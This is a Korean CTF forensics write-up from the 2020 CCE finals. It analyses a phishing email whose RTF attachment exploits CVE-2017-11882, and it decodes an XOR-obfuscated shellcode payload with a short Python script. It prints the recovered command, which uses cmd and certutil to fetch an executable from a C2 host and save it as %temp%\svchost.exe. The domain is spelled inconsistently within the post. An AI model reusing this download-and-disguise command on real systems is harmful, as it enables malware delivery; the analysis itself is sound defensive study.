CTF/포렌식

[2020CCE] Email spear phishing analysis - 포렌식 / rtfobj / IDA

SecurityMan 2022. 11. 16. 11:00


이번부터 풀이할 문제는 2020년에 진행되었던 국정원 주최 사이버공격방어대회 본선 문제이다.

본선에서는 예선과 조금 다르게 침해사고 조사 위주로 문제가 나왔었다.

대회 당시에 캡쳐를 제대로 해놓지 않아서 기억에 의존해서 풀이를 작성하는거라

정확하지 않을 수 있다.

반응형

# 이메일 첨부파일을 분석하여 C2 서버의 주소를 알아내라


이번 문제는 Guide_to_free_testing_of_new_viruses.eml 라는 eml 파일을 이용해 푸는 문제이다.

eml 파일은 마이크로소프트에서 개발한 이메일 포멧으로 OutLook 을 이용하면 바로 열어볼 수 있다.

eml 파일을 OutLook을 이용해 열어보면 이런 내용이 나온다.

새로운 바이러스를 테스팅 하는 가이드라면서 메일을 보냈는데

form.rtf 파일이 첨부파일로 들어있다.

혹시나 악성코드에 감염 안될까봐 열어볼 수 있는 Office 버전까지 지정해주는 친절함이 보인다.

일단 이 form.rtf 파일을 저장해준다.


rtf 파일은 Rich Text Format 의 약자로 마이크로소프트에서 개발한

문서 파일 형식이다. Word 로 열어볼 수 있다.

이런 파일을 분석할 때 유용하게 사용할 수 있는 rtfobj 라는 도구가 있다.

설치하려면 위처럼

sudo -H pip3 install -U oletools 라고 입력해주면 된다.


oletools 를 설치하면 이런식으로 rtfobj 를 사용할 수 있다.

rtfobj form.rtf 라고 명령어를 쳐봤더니

0x000000FE 부분에 수상한게 있다며 알려준다.

CVE-2017-11882 와 관련된 취약점이라고 한다.

https://github.com/unamer/CVE-2017-11882

GitHub - unamer/CVE-2017-11882: CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.

CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum. - GitHub - unamer/CVE-2017-11882: CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.

github.com


궁금해서 찾아보니 MS Office 의 수식편집기인 EQNEDT32.EXE 에서 발생하는 취약점으로

원격 명령어 실행(RCE) 가 가능하다고 한다.


다시한번 rtfobj 를 실행시킨 뒤,

-s 옵션을 줘서 id 를 지정해주면 해당 오브젝트를 추출할 수 있다.


추출하면 이런 .bin 파일이 생성된다.


그냥 열어봤을 때는 솔직히 뭐가 문제인지 잘 모르겠어서

IDA 를 이용해 열어보았다.


IDA 로 열면 이렇게 의미없는 16진수가 나열되어있는게 보이는데

이때 단축키 c를 누르면 위처럼 창이 하나 뜨면서

code 로 바꿔준다.


위에서 부터 계속 c를 눌러가면서 살펴보다가

0x00000c83 부분에서 잠깐 멈칫 했는데

0x96 과 xor 을 하고 있는 부분이 보였다.

뭔가 실마리가 되지 않을까 싶어서 bin 파일 전체를 0x96 으로 xor 해봤다.

f = open('form.rtf_object_000000FE.bin', 'rb')
binfile = f.read()
out = ''

for i in range(len(binfile)):
	out += chr(int(binfile[i]) ^ 0x96)
	
print(out)


xor 하는 파이썬 코드는 위와 같다.


코드를 실행시키면 이런 결과가 나오는데

자세히 보면 의미있는 데이터를 찾을 수 있다.


빨간색 밑줄 친 부분이다.

중간중간에 이상한 값이 섞여있어서 알아보기 힘들지만

앞에서 부터 따라가보면

cmd.exe /c certutil -urlcache -f http://diemalware.badcoffee.kr/
calc.exe %temp%\svchost.exe %temp%\svchost.exe

이런 값이 나온다.

cmd 를 이용해 http://diemalware.badcooffee.kr/ 에서 calc.exe 를 다운받아

%temp% 경로에 svchost.exe 라는 이름으로 저장하고 있는 모습이다.

이번 문제의 플래그는 C2 서버의 주소였으므로 http://diemalware.badcooffee.kr/ 를 제출하면 점수를 얻을 수 있었다.


대회당시에 저 주소에 접속하면 실제로 calc.exe 를 다운받을 수 있었는데,

이 파일을 분석하는게 #2 문제였다.

하지만.. 캡쳐도 제대로 하지 않았고 Write up도 제대로 써놓지 않아서

뭘 찾는 문제였는지 기억이 나지 않는다.. 아쉽지만 여기서 끝

반응형